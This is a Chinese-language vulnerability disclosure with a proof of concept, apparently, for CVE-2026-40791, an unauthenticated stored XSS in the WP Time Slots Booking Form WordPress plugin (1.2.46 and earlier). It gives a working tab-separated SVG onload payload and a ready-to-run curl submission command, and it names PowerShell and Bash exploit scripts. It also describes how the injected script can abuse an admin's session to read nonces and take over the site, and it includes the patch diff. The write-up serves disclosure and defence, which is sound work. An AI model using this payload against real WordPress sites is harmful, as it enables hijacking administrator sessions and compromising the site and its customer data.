| CVE | CVE-2026-40791 |
| 插件 | WP Time Slots Booking Form |
| Slug | wp-time-slots-booking-form |
| 受影响版本 | <= 1.2.46 |
| 修复版本 | 1.2.47 |
| 漏洞类型 | 未认证存储型XSS (CWE-79) |
| 影响 | 公开预订 -> 管理员 wp-admin 会话中的JavaScript |
| CVSS | 7.2 高危 (Wordfence), 7.1 (Patchstack) |
| 发现者 | Daniel Wade |
公开预订表单接受此字段:
fieldname1_1=2026-04-15 8:<svg[TAB]onload=alert(document.cookie)> 1 0 0 0 0 0 0
插件这样解析:
$item_split = explode(' ', $app_item_text);
...
'slot' => $item_split[1],
因为分隔符是制表符而非字面空格,item_split[1] 变成:
8:<svg onload=alert(document.cookie)>
该时段值被序列化到预订中。当管理员打开预订订单时,1.2.46 版本在此处输出:
'<span class="ahb-time">'.$this->format_date($posted_data["apps"][$k]["date"]).' '.$posted_data["apps"][$k]["slot"].'</span>' .
...
echo $appts.'</div><div style="display:none">'.$data; // phpcs:ignore WordPress.Security.EscapeOutput
未转义。SVG onload 在管理员页面中触发。
这不仅仅是“能否读取管理员cookie?”现代WordPress认证cookie通常带有HttpOnly标志,因此document.cookie可能无法暴露真实的wordpress_sec_* cookie。关键在于脚本在已认证的管理员来源页面中运行。它可以获取同源的管理员页面、读取暴露的nonce,并从受害者浏览器发送已验证的管理员请求。
易受攻击的流程:
未认证 POST
-> fieldname1_1
-> extract_appointments()
-> explode(' ', $input)[1]
-> $apps[]['slot']
-> serialize()
-> wp_cptslotsbk_messages.posted_data
-> unserialize()
-> 预订订单预约徽章
-> 未转义的HTML输出
解析器假设时间段只是文本。但并非如此。它是攻击者输入,后来落入HTML上下文。
漏洞点位于 cp-admin-int-message-list.inc.php:
$appts .= '<div class="ahb-appointment-badge">' .
'<span class="dashicons dashicons-clock"></span>' .
'<span class="ahb-time">'.$this->format_date($posted_data["apps"][$k]["date"]).' '.$posted_data["apps"][$k]["slot"].'</span>' .
...
echo $appts.'</div><div style="display:none">'.$data; // phpcs:ignore WordPress.Security.EscapeOutput
那个 phpcs:ignore WordPress.Security.EscapeOutput 就是整个故事的一句话概括。在输出攻击者控制的预订数据时,转义警告被抑制了。
载荷形式:
8:<svg[TAB]onload=alert(document.cookie)>
为什么有效:
PHP explode(' ', ...)
"8:<svg<TAB>onload=...>" 保持为一个token
浏览器HTML解析器
<svg<TAB>onload=...> 变为 <svg onload=...>
时段解析器获得它期望的值。浏览器获得它知道如何执行的标签。
PowerShell:
.\poc\reproduce.ps1 -Target "http://127.0.0.1" -PageId 2
Bash:
./poc/reproduce.sh "http://127.0.0.1" 2
手动curl:
TAB=$'\t'
TARGET="http://127.0.0.1"
PAGE_ID="2"
curl -i -sS "$TARGET/?page_id=$PAGE_ID" \
--data-urlencode "cp_tslotsbooking_pform_process=1" \
--data-urlencode "cp_pform_psequence=_1" \
--data-urlencode "cp_tslotsbooking_id=1" \
--data-urlencode "fieldname1_1=2026-04-15 8:<svg${TAB}onload=alert(document.cookie)> 1 0 0 0 0 0 0" \
--data-urlencode "fieldname2_1=John Doe" \
--data-urlencode "[email protected]" \
--data-urlencode "fieldname4_1=1234567890" \
--data-urlencode "cp_ref_page=$TARGET/?page_id=$PAGE_ID" \
--data-urlencode "form_structure_1=" \
--data-urlencode "refpage_1=" \
--data-urlencode "cp_tslotsbooking_pform_status="
预期结果:
HTTP/1.1 302 Found
然后以管理员身份登录并打开:
WP Time Slots Booking Form -> 预订订单
当存储的预订行被渲染时,载荷执行。
我在一次性本地WordPress实验室中验证了整个链条:
用于Windows的PHP 8.3.31
127.0.0.1 上的 MariaDB 11.4.12
WordPress
WP Time Slots Booking Form 1.2.46
表单1上禁用CAPTCHA
带有 [CP_TIME_SLOTS_BOOKING id="1"] 的公开页面
PowerShell PoC干净提交:
HTTP status: 302
载荷落入 wp_cptslotsbk_messages.posted_data:
slot";s:69:"8:<svg\tonload=document.body.setAttribute('data-cve40791','executed')>"
Headless Chrome然后以管理员身份登录,打开预订订单,看到由存储的SVG处理程序设置的标记:
ADMIN_XSS_EXECUTED
我还测试了将插件替换为1.2.47后相同的恶意存储行。管理员页面将载荷渲染为转义文本:
04/15/2026 8:<svg onload=...>
没有标记触发:
PATCHED_NO_XSS_EXECUTION
还有一个小的本地渲染完整性检查:
powershell -NoProfile -ExecutionPolicy Bypass -File .\lab\validate-render.ps1
它验证了无需完整WordPress安装的两个机械部分:
Parser check OK: literal-space split preserves tabbed SVG in slot index 1.
Browser check OK: tab-separated unquoted SVG onload executed in rendered HTML.
攻击者不需要账户。攻击者提交一个公开预订,等待管理员查看预订订单。
一旦管理员查看该页面,攻击者的JavaScript在管理员的WordPress源中运行。真实的攻击者通常不会停留在 alert(document.cookie)。他们会利用管理员浏览器作为管理员:
获取管理员页面
-> 从HTML读取nonce
-> 提交已验证的管理员POST
-> 更改站点状态
根据管理员的权限和站点配置,这可能意味着创建用户、更改插件设置、修改通知目的地、读取预订/客户数据,或通过插件/主题功能升级为完全接管站点。
版本1.2.47在构建管理员徽章前转义了存储的时段:
- ' '.$posted_data["apps"][$k]["slot"].'</span>'
+ ' '.esc_html($posted_data["apps"][$k]["slot"]).'</span>'
这修复了漏洞点。更早地进行清理也是合理的,但安全边界是管理员页面中的HTML输出上下文。
poc/
reproduce.ps1 # PowerShell 未认证预订提交器
reproduce.sh # Bash/curl 未认证预订提交器
lab/
render-check.html # 最低限度易受攻击的渲染夹具
validate-render.ps1 # 解析器 + 浏览器执行完整性检查
README.md
| 日期 | 事件 |
|---|---|
| 2026-03-24 | 向Patchstack报告 |
| 2026-04-13 | 修复验证 |
| 2026-04-23 | Wordfence发布公告 |
| 2026-04-24 | Patchstack发布公告 |
| 2026-04-30 | Wordfence最后更新条目 |
免责声明: 本PoC仅用于补丁可用后的防御性研究和验证。请勿将其用于非您拥有或未经明确授权测试的系统。
CVE-2026-40791 - 已在WP Time Slots Booking Form 1.2.47中修复。受影响版本:1.2.46及更早版本。